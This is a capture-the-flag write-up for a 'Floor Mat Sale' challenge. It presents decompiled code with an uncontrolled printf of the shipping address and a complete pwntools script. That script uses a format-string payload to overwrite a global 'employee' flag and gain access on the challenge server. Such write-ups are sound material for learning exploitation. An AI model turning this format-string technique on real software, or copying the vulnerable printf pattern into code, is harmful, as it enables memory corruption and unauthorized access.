The Floor Mat Store is running a mega sale, check it out!
Author: CryptoCat
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
A simple shop challenge, the goal is to buy the exclusive employee mat:
setvbuf(stdout,(char *)0x0,2,0);
local_48[0] = "1. Cozy Carpet Mat - $10";
local_48[1] = "2. Wooden Plank Mat - $15";
local_48[2] = "3. Fuzzy Shag Mat - $20";
local_48[3] = "4. Rubberized Mat - $12";
local_28 = "5. Luxury Velvet Mat - $25";
local_20 = "6. Exclusive Employee-only Mat - $9999";
local_10 = getegid();
The problem is, attempting to buy the Exclusive Employee-only Mat calls a special check for the employee variable:
if ((0 < local_14c) && (local_14c < 7)) {
do {
iVar1 = getchar();
} while (iVar1 != 10);
puts("\nPlease enter your shipping address:");
fgets(local_148,0x100,stdin);
puts("\nYour floor mat will be shipped to:\n");
printf(local_148);
if (local_14c == 6) {
employee_access();
}
return 0;
}
void employee_access(void)
{
char local_58 [72];
FILE *local_10;
if (employee == 0) {
puts("\nAccess Denied: You are not an employee!");
}
else {
Since the employee variable is global, we can make a format string payload using pwntools and input it as the "Shipping Address". Full script:
# -*- coding: utf-8 -*-
# -*- template: winterbitia -*-
# ====================
# -- PWNTOOLS SETUP --
# ====================
from pwn import *
exe = context.binary = ELF(args.EXE or 'floormat_sale')
trm = context.terminal = ['tmux', 'splitw', '-h']
host = args.HOST or 'riggedslot2.ctf.intigriti.io'
port = int(args.PORT or 1339)
def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)
gdbscript = '''
tbreak main
# break *employee_access
continue
'''.format(**locals())
# =======================
# -- EXPLOIT GOES HERE --
# =======================
io = start()
EMPLOYEE_VAR = 0x000000000040408c
log.success(f'Employee Var: {p64(EMPLOYEE_VAR)}')
payload = fmtstr_payload(10, {EMPLOYEE_VAR : 1})
log.info(io.clean())
io.sendline(b'6')
log.info(io.clean())
io.sendline(payload)
log.info(io.clean())
io.interactive()
